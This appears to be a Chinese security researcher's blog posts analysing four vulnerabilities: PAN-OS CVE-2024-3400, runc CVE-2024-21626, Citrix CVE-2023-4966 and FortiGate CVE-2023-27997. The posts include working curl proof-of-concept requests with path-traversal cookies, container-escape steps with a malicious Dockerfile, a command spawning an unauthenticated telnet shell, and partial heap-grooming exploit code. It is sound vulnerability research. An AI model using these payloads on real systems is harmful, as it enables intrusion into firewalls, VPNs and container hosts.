我们把程序拿出来分析，坏消息是这个程序是 golang 编写的，好像是有符号，而且我们已经知道了漏洞大致位置，可以通过直接找到 main__ptr_SessDiskStore_New 函数

我们在这个函数里可以看到一个通过 Cookie 里的值然后拼接文件名的操作，

比如我们在 146 行下一个断点，然后使用如下 PoC 触发：

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 158' \
    -b $'SESSID=/../../../tmp/hacked' \
    --data-binary $'user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr' \
    $'https://192.168.1.101/ssl-vpn/hipreport.esp'

到达main__ptr_SessDiskStore_New 函数的backtrace如下：

(gdb) bt
#0  main.(*SessDiskStore).New (s=0xc000821800, r=0xc00260f400, name=..., ~r2=0x0, ~r3=...)
    at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_session.go:103
#1  0x0000000000a472c3 in github.com/gorilla/sessions.(*Registry).Get (s=0xc00c1a6a60, store=..., name=..., session=0x0, err=...)
    at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/3p/pkg/mod/github.com/gorilla/sessions@v1.2.1/sessions.go:139
#2  0x0000000000aee55d in main.(*SessDiskStore).Get (s=0xc000821800, r=0xc00260f400, name=..., ~r2=0x0, ~r3=...)
    at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_session.go:87
#3  0x0000000000af606a in main.(*GpTask).initHttp (t=0xc00725eb00, r=0xc00260f400, ~r1=...)
    at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_task.go:442
#4  0x0000000000afd0a9 in main.(*GpTask).RunHttp (t=0xc00725eb00, w=..., r=0xc00260f400, ~r2=false)
    at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_task.go:802
#5  0x0000000000b10b48 in main.(*GpTaskMgmt).MainHttpEntry (tm=0xc000870000, w=..., r=0xc00260f300)
    at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_taskmgmt.go:450
#6  0x0000000000b3aadd in main.(*GpTaskMgmt).MainHttpEntry-fm (w=..., r=0xc00260f300)
    at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_taskmgmt.go:406
#7  0x0000000000867f74 in net/http.HandlerFunc.ServeHTTP (f={void (net/http.ResponseWriter, net/http.Request *)} 0xc00c2077a8, w=..., r=0xc00260f300)
    at /usr/local/go/src/net/http/server.go:2036
#8  0x0000000000a78e56 in github.com/gorilla/mux.(*Router).ServeHTTP (r=0xc0006c20c0, w=..., req=0xc00260f300)
    at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/3p/pkg/mod/github.com/gorilla/mux@v1.7.4/mux.go:210
#9  0x000000000086c7df in net/http.serverHandler.ServeHTTP (sh=..., rw=..., req=0xc00260f100) at /usr/local/go/src/net/http/server.go:2831
#10 0x0000000000866f1a in net/http.(*conn).serve (c=0xc0081981e0, ctx=...) at /usr/local/go/src/net/http/server.go:1919
#11 0x0000000000467411 in runtime.goexit () at /usr/local/go/src/runtime/asm_amd64.s:1357
#12 0x000000c0081981e0 in ?? ()
#13 0x0000000000d79060 in ?? ()
#14 0x000000c00c150680 in ?? ()
#15 0x0000000000000000 in ?? ()
(gdb)

此时可以看到 $rdi->array 存储了我们的 payload 的相关字符： session_/../../../tmp/hacked，我们单步走一步走到调用main_loadSessFile 函数的位置

(分析到这，我突然反应过来他是golang 是旧版本的 api 调用，搜了下字符串可以知道他的 golang 版本是 1.13.15)

1	.rodata:0000000000C956F6 aGo11315 db 'go1.13.15'

可以看到 /../ 相关字符被path_filepath_Join函数处理后已经被去除了，问题来了，是在哪创建的的文件呢？

我们找到 syscall_Open 函数，对其进行引用查找，找到一条这样的调用链

1	main_loadSessFile->main_fileLock->syscall_Open

而此时 main_loadSessFile 的参数就是我们想要创建的文件

open 的定义为 int open(const char *pathname, int flags, mode_t mode); 第二个参数是个 flags，当值为 0x40 的时候为 O_CREAT

O_CREAT 定义位于 fcntl.h 文件中，可以在 linux 的内核代码^[4]中看到,

#define O_ACCMODE00000003
#define O_RDONLY00000000
#define O_WRONLY00000001
#define O_RDWR00000002
#ifndef O_CREAT
#define O_CREAT00000100/* not fcntl */

O_CREAT 的值通常是 0100，这是一个八进制表示的值，等同于十进制的 64 ，十六进制的 0x40，通过查找相关资料^[5]

发现只有文件不存在的时候才会创建文件。

例如使用如下 payload 尝试创建 /etc/passwd 的时候

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 158' \
    -b $'SESSID=/../../../etc/passwd' \
    --data-binary $'user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr' \
    $'https://192.168.1.101/ssl-vpn/hipreport.esp'

可以看到 open 是返回了 0

这个漏洞会创建一个任意路径、文件名可控的文件（不能覆盖文件）。那么攻击者是如何将这么一个漏洞再组合成一个命令执行的呢？这就得提到 telemetry 功能了

telemetry 命令文件分析

根据官网 ^[5] 的介绍，该功能是一个定时发送数据到远端的一个功能, 在环境搭建提到的该功能开启需要一个设备证书，我目前的复现环境是不支持的。只能分析分析功能了

在 /etc/cron.d 可以看到很多和 telemetry 相关的定时任务

其中 /usr/local/bin/dt_send 看起来是用来发送数据的

该程序由 python 编写，可以看到简单判断了下功能是不是开启，然后调用 check_and_send 函数

check_and_send 函数会接着调用 send_file_dirs_all

可以看到 send_file_dirs_all 函数会遍历 DEFAULT_DEVTELEM_OUTPUT_DIR 下的文件，然后再调用 send_file_dir

而在 send_file_dir 函数中，用 send_file 函数

在 send_file 函数中，会将文件名拼接到 send_file_cmd 遍历中

接着调用 cmd_status = techsupport.dosys(send_file_cmd, None) ，运行 dt_curl 命令，该命令也是一个 python 程序，

dt_curl 里会调用 send_file 函数

在该函数中就拼接命令，使用 pansys(curl_cmd, shell=True, timeout=250) 函数调用，注意这里的 shell=True

这里最后调用到 /opt/plugins/2.0/python-lib/pan/pansys/pansys.py 文件中的 dosys

可以看到这里的shell参数默认是 False 的但是由于send_file 调用的是传递进来设置了成了 True, 因此可以命令注入。

Diff Patch

新增了个 seesion 检查函数？

从日志可以可以看到似乎加了检查 {"level":"error","task":"3-22","time":"2024-04-20T06:28:12.18264473-07:00","message":"ArgFilterCheck: authcookie input is invalid"}

刚好也是这个补丁加的样子，从编译路径来看

(gdb) bt
#0  main.(*GpTask).ArgFilterCheck (t=0xc000093080, filterName=..., argName=..., value=..., ~r3=9)
    at /opt/build/workspace/NOMAD/89c94875/workspace/ations_gpsvc_hotfix_10.2.9-hf-ga/src/apps/pan_gpsvc_task.go:615
#1  0x0000000000afb593 in main.(*GpTask).ArgFilterCheckUser (t=0xc000093080, value=..., ~r1=0)

修复了 shell=True 的问题

思考

一个空文件创建到命令执行，想必这个攻击者估计找这个功能了找了不少时间吧，此外该漏洞的利用目前需要开启telemetry 功能，那么是否还有可以利用这个空文件创建的地方呢？这么大的一个系统也许还有吧，有时间可以在仔细看看

Reference link

1.CVE-2024-3400 https://security.paloaltonetworks.com/CVE-2024-3400 ↩
2.palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400 https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/ ↩
3.Larryxi blog https://aslr.io/about/ ↩
4.fcntl.h#24 https://elixir.bootlin.com/linux/latest/source/include/uapi/asm-generic/fcntl.h#L24 ↩
5.device-telemetry-overview https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-overview ↩

CVE-2024-21626 容器逃逸漏洞分析

2024-02-01T08:18:59.000Z

TL; DR

最近公开了一个 runc 容器逃逸的公告, 从公告看漏洞影响范围是： >=v1.0.0-rc93,<=1.1.11 , 补丁版本为： 1.1.12，这里我的复现版本是：

# root @ pwnable in ~ [16:27:23]
$ docker info | grep "runc"
 Runtimes: io.containerd.runc.v2 runc
 Default Runtime: runc
 runc version: v1.1.7-0-g860f061

于是我和 @explorer 以及 @leommxj 一起简单看了一下。

漏洞分析

从公告讲就是 runc run 或者 runc exec 的过程中有存在没有及时关闭的 fd ，导致文件描述符泄漏在容器环境中，用户可以通过这个文件描述来进行容器逃逸。

首先来做一个赛博考古，公告提到该漏洞是在 v1.0.0-rc93 这个版本引入的，在这个版本找到了两个打开 cgroup 地方。

一处是在这个 commit 中，在 (m *manager) Apply(pid int) (err error) 函数中加载了 cgroup ，然后在 func (p *initProcess) start() 函数里调用到了。具体文件行号为 fs.go:339

1
2
3

if err := p.manager.Apply(p.pid()); err != nil {
return newSystemErrorWithCause(err, "applying cgroup configuration for process")
}

此处在rc93 这个版本 release 的。

2月2日，我对blog更新了如下内容, 基本可以判断泄漏 fd 的地方就是在这个 commit 引入的了。

首先我们在runc代码的 file.go 代码中，假设有这么一个调用链：（并不是所有的 OpenFile 函数都会是 ReadFIle 调用）

ReadFile -> OpenFile-> openFile -> prepareOpenat2

而在次新版本（未更添加补丁的）的代码中，即从这个 commit 中可以看出是因为 prepareOpenat2 函数是在检查openat2 这个syscall 是不是能被正常调用，如果调用失败，则进到 openFallback 函数中，如果成功则用后续使用 unix.Openat2 打开 /sys/fs/cgroup ，此处的 unix.Openat2 是有 O_CLOEXEC flag的。

//https://github.com/opencontainers/runc/blob/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e/libcontainer/cgroups/file.go#L127
path := path.Join(dir, utils.CleanPath(file))
if prepareOpenat2() != nil {
return openFallback(path, flags, mode)
}
relPath := strings.TrimPrefix(path, cgroupfsPrefix)
if len(relPath) == len(path) { // non-standard path, old system?
return openFallback(path, flags, mode)
}

fd, err := unix.Openat2(int(cgroupRootHandle.Fd()), relPath,
&unix.OpenHow{
Resolve: resolveFlags,
Flags:   uint64(flags) | unix.O_CLOEXEC,
Mode:    uint64(mode),
})

然后如果 prepareOpenat2成功打开了 /sys/fs/cgroup，则此时必有一个 fd 指向了 /sys/fs/cgroup 文件夹，

可以从图上的这个补丁看出来， prepareOpenat2 函数内打开这个文件夹的时候也没有用 O_CLOEXEC 这个标志。而且 prepareOpenat2函数内也并没有 close 掉这个这个 fd，且这个 fd 并没有通过 prepareOpenat2 函数返回, 因为如果能将这个 fd 返回话，在ReadFile 或者 WriteFile 中（或者其他函数），会通过 defer fd.Close() 这样的方法来关闭这个 fd 。

func ReadFile(dir, file string) (string, error) {
fd, err := OpenFile(dir, file, unix.O_RDONLY)
if err != nil {
return "", err
}
defer fd.Close()
var buf bytes.Buffer

_, err = buf.ReadFrom(fd)
return buf.String(), err
}

另外一处是在这个 commit 中，但是这个 commit 是 rc92 中 release的，由于我和 @leoomxj 都暂时没看到这个 commit 打开的 cgroup 是否close 掉了，所以这里也提一句。

经过仔细阅读公告和通过上面的分析，我们可以了解到问题的根源在于未及时清理打开的 cgroup 文件描述符（fd），导致泄漏。这在 init/exec 过程中表现为在 runc 的 /proc/self/fd/7 中可以找到被打开的 cgroup，但在后续启动的二进制文件中却被关闭了。

到这，根据公告的利用过程其思路核心为在 runc 创建子进程的时候且 exec(run) 即将执行的二进制文件还没关闭之前，将 cwd设置为 /proc/self/fd/7 , 这个这个时候这个二进制程序进程的 /proc/pid/cwd 就会指向容器外的/sys/fs/cgroup

接着我们开始做一点简单的漏洞复现

漏洞复现

公告中提到了如果设置 cwd 为 /proc/self/fd 就会导致逃逸

If the container was configured to have process.cwd set to /proc/self/fd/7/ (the actual fd can change depending on file opening order in runc), the resulting pid1 process will have a working directory in the host mount namespace and thus the spawned process can access the entire host filesystem.

attack 2 runc exec 过程 (docker exec)

这里先复现比较感兴趣的docker exec 操作导致的容器逃逸，通过公告的提示，我们做如下操作：

这时候发现我们当前的 cwd 目录其实就是在 /sys/fs/cgroup 中，而且是容器外的 cwd，于是我们使用多个 ../ 就能读取主机的文件系统文件。

明显能看到 docker exec 的时候 /proc/self/fd/7 确实指向了 cgroup , 于是以此文章提出了一种逃逸场景

The same fd leak and lack of verification of the working directory in attack 1 also apply to runc exec. If a malicious process inside the container knows that some administrative process will call runc exec with the --cwd argument and a given path, in most cases they can replace that path with a symlink to /proc/self/fd/7/. Once the container process has executed the container binary, PR_SET_DUMPABLE protections no longer apply and the attacker can open /proc/$exec_pid/cwd to get access to the host filesystem.

runc exec defaults to a cwd of / (which cannot be replaced with a symlink), so this attack depends on the attacker getting a user (or some administrative process) to use --cwd and figuring out what path the target working directory is. Note that if the target working directory is a parent of the program binary being executed, the attacker might be unable to replace the path with a symlink (the execve will fail in most cases, unless the host filesystem layout specifically matches the container layout in specific ways and the attacker knows which binary the runc exec is executing).

具体场景为，攻击者已经有了容器内shell，然后需要主机外有 docker exec 命令，且需要用到 cwd 参数，然后攻击者得判断或者指定用户即将设置的 cwd 路径和当前这个 runc 是不是也是 fd 为 7 的时候指向 cgroup ，然后提前设置好符号链接指向 /proc/self/fd/7 , 复现流程如下：

假设我即将设置的 cwd 为 /tmp/hacker, 在容器中执行以下命令

ln -s /proc/self/fd/7 /tmp/hacker

然后容器外执行一下命令

docker exec -w /tmp/fuck -it cve-2024-21626 /bin/bash

此时就会发现cwd已经是外面的/sys/fs/cgroup 了

attack 1 (docker build) -> 恶意镜像

这里也提一下 docker builid 镜像的攻击手段，我们从 https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/ 这个博客可以看到受害者执行一个 run 镜像的操作就被容器逃逸了。

这里的我的 Dockerfile 内容如下，此时我环境泄漏的 fd 是 8，这个我是试出来的。

1
2
3

FROM ubuntu:22.04
RUN ls -al ./
WORKDIR /proc/self/fd/8

首先 build 我的恶意镜像

docker build -t test .

然后执行恶意镜像

docker run --rm -it test bash

就会发现此时 cwd 就是在 cgroup，通过 ../../ 就能穿越到 host 目录中

在漏洞修复之前，小心恶意镜像投毒哦 ~

补丁分析

从这个 2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e commit 中能看到几个比较明显的安全补丁（还有缓解措施）

使用 O_CLOEXEC flag 来打开文件，避免子进程继承了父进程的 fd

详情 commit 链接： https://github.com/opencontainers/runc/commit/89c93ddf289437d5c8558b37047c54af6a0edb48

新增了 verifyCwd 函数, 并在 finalizeNamespace 中增加调用了 verifyCwd 检查是否cwd在容器namespace外

新增 UnsafeCloseFrom 函数， linuxSetnsInit & linuxStandardInit 中增加了部分该函数的调用，关闭当前进程中大于或等于minFd的所有文件描述符，除了那些对Go运行时关键（例如netpoll管理描述符），

疑问

究竟是哪个 commit 是真正引入漏洞的，有没有同学深入再研究一下。
为什么提到了 PR_SET_DUMPABLE 这个，我印象中这个是 core dump 相关的，在 runc 中这个起了什么作用？

update 2024 / 2/ 2

最近有好多小伙伴发现复现不了该漏洞，然后 @likesec 同学提到了是 Linux kernel 版本的问题导致复现不了，因为 5.6 之前的 Linux kernel 是不支持 openat2 这个 syscall 的。于是我和@leommxj 一起简单跟了一下代码，然后结果也基本能解决疑问中的第一个问题。

在libcontainer/cgroups/file.go中的OpenFile->openFile->中(注意不是os.OpenFile), 会先使用 prepareOpenat2 尝试用openat2 syscall 打开文件

func openFile(dir, file string, flags int) (*os.File, error) {
mode := os.FileMode(0)
if TestMode && flags&os.O_WRONLY != 0 {
// "emulate" cgroup fs for unit tests
flags |= os.O_TRUNC | os.O_CREATE
mode = 0o600
}
path := path.Join(dir, utils.CleanPath(file))
if prepareOpenat2() != nil {
return openFallback(path, flags, mode)
}
...

fd, err := unix.Openat2(int(cgroupRootHandle.Fd()), relPath,
&unix.OpenHow{
...
})
...
}

此时的 Openat2 缺少一个 O_CLOEXEC flag

并且由于是为了测试内核是否支持openat2 syscall，此fd没有返回，所以后续的defer关闭fd操作也没有对这个fd执行。比如ReadFile 函数的此处代码关闭 fd 。当然也还有其他调用 OpenFIle的方法，也是用类似的方法把 fd 关闭了。

如果内核不支持，这次调用也就失败了，自然没有成功打开的fd。后续会使用os.OpenFile 打开文件，而go的os.OpenFile在unix平台上会带上syscall.O_CLOEXEC flag，同时正常使用的fd也应该会被后续的代码释放掉。具体可以参考这个代码：

func openFileNolog(name string, flag int, perm FileMode) (*File, error) {
setSticky := false
if !supportsCreateWithStickyBit && flag&O_CREATE != 0 && perm&ModeSticky != 0 {
if _, err := Stat(name); IsNotExist(err) {
setSticky = true
}
}

var r int
var s poll.SysFile
for {
var e error
r, s, e = open(name, flag|syscall.O_CLOEXEC, syscallMode(perm))
if e == nil {
break
}

因此低内核版本的同学会发现复现漏洞失败，因为虽然走到了 prepareOpenat2 函数中，但是并没有成功打开/sys/fs/cgroup/，因此没有 fd 泄漏的场景

这里说一句，也有同学在问如何确定是 fd 的数字，因为我们现在已经确定了是哪个地方泄漏的 fd ，所以我们其实可以用 strace 来 trace，例如我要确定 docker run --rm -it test 的时候，这个时候应该设置多少的 fd，我们可以对 /usr/bin/containerd 进程进行 strace。

执行如下命令：

1	strace -ff -y -e trace=437 -p $(pidof /usr/bin/containerd)

命令中是437是 openat2的syscall 编号，可以看到打开的 fd 是 8

Reference link

CVE-2023-4966 citrix 内存泄漏

2023-10-24T14:10:14.000Z

TL; DR

10月18日的时候注意到思杰官网发布了一个安全公告: NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2023-4966 and CVE-2023-4967 。其中提到一个敏感信息泄露的漏洞。在今天（10月24日），assetnote 发布了一些细节文章，这里简单记录下。

漏洞细节

这里以 13.0-47 的固件为例子，从固件拉出 nsppe 这个程序，用 IDA 打开分析。搜索文章提到的字符串可以看到如下代码：

  want_to_write_len = snprintf(
                        print_temp_rule,
                        0x10000,
                        (unsigned int)"{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/id"
                                      "p/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\": \"h"
                                      "ttps://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"token\","
                                      " \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end_sess"
                                      "ion_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_supported"
                                      "\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_supported\": ["
                                      "\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr\", \"em"
                                      "ail\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoint\": \"ht"
                                      "tps://%.*s/oauth/idp/userinfo\"}",
......
                        hostname);
  authv2_json_resp = 1;
  if ( (unsigned int)ns_vpn_send_response(a1, 0x100040LL, print_temp_rule, want_to_write_len) )
  {

这里可以看到，snprintf函数被用于将hostname参数拼接到print_temp_rule变量中，并根据返回的长度，通过ns_vpn_send_response函数返回HTTP请求的结果。这种对snprintf的使用方法是一个常见的错误。这里的hostname参数是由 HTTP 请求中的 Host 头决定的,因此这个参数的长度我们是完全可以控制的。这让我想到一个长亭之前发布的一篇经典文章实战栈溢出：三个漏洞搞定一台路由器。也是使用snprintf 从缓冲区泄漏内存。

总结一下就是， snprintf 这个函数应该返回的是 ”想要写入buffer 的字符串长度“ ，而不是实际写入buffer的字符长长度。可以从一个 DEMO 看出这个效果：

➜  Desktop cat test.c
int main() {
    char buf[8];
    memset(buf,0,8);
    int n1 = snprintf(buf, 8, "%s", "aaa");
    printf("buf: %s\n", buf);
    printf("n1: %d\n", n1);
    memset(buf,0,8);
    int n2 = snprintf(buf, 8, "%s", "aaaabbbbccccdddd");
    printf("buf: %s\n", buf);
    printf("n2: %d\n", n2);
}
➜  Desktop ./a.out
buf: aaa
n1: 3
buf: aaaabbb
n2: 16

可以看到，当我想写入 16长度的字符串的时候， n2的值为 16，而不是实际写入的长度。

The functions snprintf() and vsnprintf() do not write more than size bytes (including the terminating null byte (’\0’))

PoC：

具体一样长度能不能泄漏出 token ，看起来和版本还是有关系的，至少我这个版本在 CVE-2023-4966这个利用中是打不出来的。应该和不同缓冲区的大小不一样?猜测的,具体我就不进一步调试了。

另外到达这个函数的路由，通过对这个函数 ns_aaa_oauth_send_openid_config 进行交叉引用一下子就看到了：

Reference link

Citrix Bleed: Leaking Session Tokens with CVE-2023-4966
实战栈溢出：三个漏洞搞定一台路由器

CVE-2023-27997-FortiGate-SSLVPN-HeapOverflow

2023-09-20T16:00:00.000Z

TL; DR

由于CVE-2023-27997 漏洞的影响比较大，所以我一直没有公开这篇博客，但是距离该漏洞公开已经差不多过去了三个月了，公网的设备应该都修的差不多了吧，因此这里可以大家分享一下当时我和@leommxj 一起复现该漏洞的笔记。

更具体的漏洞细节可以参考这篇文章： Pre-authentication Remote Code Execution on Fortigate VPN , 而我这里分析版本依旧是 7.2.2

漏洞环境搭建

参考可以参考我上一篇文章《CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow》

在调试的时候，找 @leommxj 和 @explorer 帮我配置了网络环境，一开始用的是 gdb + vmware 的调试方法，后面改用 gdbserver + gdb 的方法了，由于 fortigate 的防火墙原因，我们复用了 22 端口和23 端口

1 2	kill -9 $(pidof sshd) && ./busybox_TELNETD -b 0.0.0.0:22 -l /bin/sh kill -9 $(pidof telnetd) && ./gdbserver 0.0.0.0:23 --attach $(pidof sslvpnd)

漏洞分析

当我们向 fortigate sslvpn 发送一个 enc 的 HTTP 参数的时候, 会进到一个 parse_enc_data 的函数逻辑里.

另外这个 enc 处理的 URI 有很多可以进来, 包括 /remote/hostcheck_validate 以及 ^[1] 提到的 /remote/logincheck , 具体 URI 的选择,我们后文接着会提到。这里接着分析 parse_enc_data 函数。

__int64 __fastcall parse_enc_data(__int64 a1, __int64 *pool, const char *in)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v30 = __readfsqword(0x28u);
  v4 = strlen(in);                              // in (enc) : AA BB CC DD  XX XX HACKED HACKED ...
                                                //               SEED      SIZE     CIPHERTEXT
  int_len = v4;
  lenOfData = v4;
  if ( (int)v4 <= 11 || (v4 & 1) != 0 )         // enc 的长度要大于11, 且偶数
  {
    ...
  }

首先进到函数里，会先判断 enc 参数的值是否长度大于11, 且偶数。

1 2	MD5Data(salt, (__int64)in, 8, (__int64)md5); out = (__int16 )alignedAlloc(pool, (int_len >> 1) + 1);

当符合要求后，会以长度的 1/2 的大小分配一个 buffer , 然后中间会经过一些数据处理，然后到达另外一个 check

out = decodedData_ + 2;
xored_given_len = decodedData_[2];
given_len = (unsigned __int8)(xored_given_len ^ md5[0]);
BYTE1(given_len) = md5[1] ^ HIBYTE(xored_given_len);
payloadLength = (unsigned __int8)(xored_given_len ^ md5[0]);// 检查大小
if ( int_len - 5 <= payloadLength )
{
  ...
}
else
{
  v17 = decodedData_ + 3;
  out = v17;
  if ( (unsigned __int8)xored_given_len != md5[0] )
  {
    v18 = (unsigned int)(payloadLength - 1);
    i = 0LL;
    v20 = 2;
    while ( 1 )
    {
      *((_BYTE *)v17 + i) ^= md5[v20];    // bof
      if ( v18 == i )
        break;
      v20 = ((_BYTE)i + 3) & 0xF;
      if ( (((_BYTE)i + 3) & 0xF) == 0 )
      {
        ...
      }
      v17 = out;
      ++i;
    }
    v17 = (__int16 *)((char *)out + (unsigned __int16)given_len);
  }

这里会将数据的长度（实际传入的长度）和 enc 这个参数定义的 payload 的长度比较，如果符合 int_len - 5 <= payloadLength ，即实际长度大于定义的长度，即接着往下走。注意这里会出现一个安全问题：

因为实际分配的buffer 的长度应该是实际长度的 1/2 ，而这里却是用原来的长度比较的，因此后面会发生溢出。但是这里的溢出的字节是一个 md5 异或, 这里会对我们后面的利用提出一点点的难度,但是作者却用了一个很巧妙的来完成。

这里简单总结下这个函数和提炼下 enc 的结构, 首先 enc 参数是一个包含 seed、size（2 个字节）和数据的结构。大小和数据都是加密的。大致就下图的样子.

seed 存储为 8 个十六进制字符，用于计算 XOR 密钥流的第一个状态：

S0 = MD5(salt|seed| "GCC is the GNU Compiler Collection.")

int MD5Data(char *salt, __int64 enc, int size, __int64 output)

  MD5_Init(v8);
  v6 = strlen(salt);
  MD5_Update(v8, salt, v6);
  MD5_Update(v8, enc, size);
  MD5_Update(v8, "GCC is the GNU Compiler Collection.", 35LL);
  MD5_Final(output, v8);
  return v9 - __readfsqword(0x

这里的 salt 是由服务器创建的随机值, 可以通过 GET /remote/info HTTP/1.1 获取到

密钥流的其他状态计算如下：

函数行为:

计算 MD5（16 字节），这是来自盐和种子的密钥的第一个状态（in 的前 8 个字符）
分配大小为 in_len / 2 + 1、out 和十六进制解码输入的缓冲区
通过将有效负载的前两个字节与密钥的前两个字节进行异或运算，计算用户给定的长度 given_len
边界检查：验证给定的长度不大于缓冲区的大小
就地解密整个字符串：对前 14 个字节进行 XOR，然后计算一个新状态 𝐾 1个，用它对接下来的 16 个字节进行异或，然后重复。
在解密数据的末尾放置一个 NULL 字节
当程序检查给定长度不大于发送的有效负载的长度时，它会将 in_len 与 given_len 进行比较。但是，前者以十六进制描述有效负载的长度（例如“41424343”），而后者以原始字节描述其大小（例如“ABCD”）。因此，given_len 可以是它应该的两倍大。因此造成了溢出

这里稍微吐槽一下， IDA 的反编译错误导致很多文章对该漏洞的产生原因的描述有些错误
wrong results of Hex-Rays

漏洞利用

利用原语

首先第一个问题是我们最终选择了 /remote/hostcheck_validate 来做漏洞的触发, 由于漏洞利用原因需要多次请求, 我们如果使用了 /remote/logincheck 容易触发 login-attempt-limit 的限制, 这个默认限制为 2

接着就是利用原语的问题, 这里直接采用了作者提供的方法 ^[2]

大致的核心原理就是使用两次异或, 这样就不会让前面的数值发生混乱.

假设我们要修改 5000偏移的值为 0xff , . 那么我们要溢出两次, 第一次将长度设置为 4999 , 此时溢出结束后会将 5000 位置的值写成 0 , 紧接着第二次用我们计算好的 seed 通过 0xff ^ 0 的方式 , 将5000位置设置成 0xff

按照作者说明就是：

堆布局

我们的目标是去溢出覆盖 SSL 结构中的 handshake_func 指针，这利用是参考的 orange 当时的一个博客 ^[3]


int SSL_do_handshake(SSL *s)
 {
     // ...

     s->method->ssl_renegotiate_check(s, 0);

     if (SSL_in_init(s) || SSL_in_before(s)) {
         if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
             struct ssl_async_args args;

             args.s = s;

             ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
         } else {
             ret = s->handshake_func(s);
         }
     }
     return ret;
 }

SSL 结构体如下 ^[4]:

struct ssl_st {
    /*
     * protocol version (one of SSL2_VERSION, SSL3_VERSION, TLS1_VERSION,
     * DTLS1_VERSION)
     */
    int version;
    /* SSLv3 */
    const SSL_METHOD *method;
    /*
     * There are 2 BIO's even though they are normally both the same.  This
     * is so data can be read and written to different handlers
     */
    /* used by SSL_read */
    BIO *rbio;
    /* used by SSL_write */
    BIO *wbio;
    /* used during session-id reuse to concatenate messages */
    BIO *bbio;
    /*
     * This holds a variable that indicates what we were doing when a 0 or -1
     * is returned.  This is needed for non-blocking IO so we know what
     * request needs re-doing when in SSL_accept or SSL_connect
     */
    int rwstate;
    int (*handshake_func) (SSL *);

那这的问题就是转化为，我们如何稳定的将 out 这个缓冲区放置在 SSL 结构体的缓冲区前面，这样溢出的时候我们才能覆盖到。这里我们参考了部分作者的思路，在我们这个测试版本中， SSL 结构的大小为 0x1db8 字节，他将分配在 0x2000 的缓冲区内。另外提一句这里的堆分配器用的是 jemalloc ，符合一些后进先出的规则，因此我们的最终思路大概就是：

我们用了 gdb 设置当前 PC 为 je_malloc_stats_print 函数地址，打印当前 jemalloc 的分配情况

可以发现默认情况下 0x2000 这么的大的内存是不会怎么使用到的，因此我们只需要先分配几次（这里使用 10 次）分配0x2000 的 buffer，然后释放掉让这连续的内存进入到链表里，方便后面利用的时候让 out 的缓冲区在 ssl 结构体前面。这里的分配原理是通过一个请求给一个解析POST参数的网页，在这个请求中，发送了POST key-value对，其中sizeof(key) = sizeof(struct_ssl) - 0x18 - 0x10 而sizeof(value)=0 ，例如我们发送一个

1
2
3

POST /remote/hostcheck_validate HTTP/1.1

A*(sizeof(struct_ssl) - 0x18 - 0x10)=&

这样理想情况下会分分配一个如下的内存：

有三个 AAAA 的内存原因是在解析POST数据的时候，程序会这么做：拿到整个POSTDATA缓冲区（例如a=b&c=d&e=f），然后提取出’&’之前的内容，并把它存储在一个新的块里（那是1个分配）。然后，拿到’=’之前的内容，并把它存储在一个新的块里（两个分配）。然后，它将键和值存储在一个全局哈希映射中，这会导致产生第三个分配

这里为了方便观察分配的情况，我们还可以用到 gdb 的commands 和 logging 功能。大致就是在 je_malloc 分配结束后下断

//.text:0000000001776C85 E8 D6 5A CC+                call    _je_malloc
//.text:0000000001776C8A 49 89 C4                    mov     r12, rax
break *0x1776C8A 
commands 1
set logging file ssl_chunk.txt
set logging enable on
p/x $rax
set logging enable off
continue
end

我们尽量让其分配的时候是连续的内存：

当然在实际环境中可能有其他的干扰，因此我们可以多分配几次，例如我上个版本的利用是分配了 301 次，然后在这几个 sock 都close掉让其释放。我这部分代码如下。

def heap_layout(IP, port):
    # heap layout
    payload = ''
    import string
    for i in string.printable[:10]:
        payload += i*(size) + '=&'

    sock = make_ssl_socket(IP, port, if_warp=True)
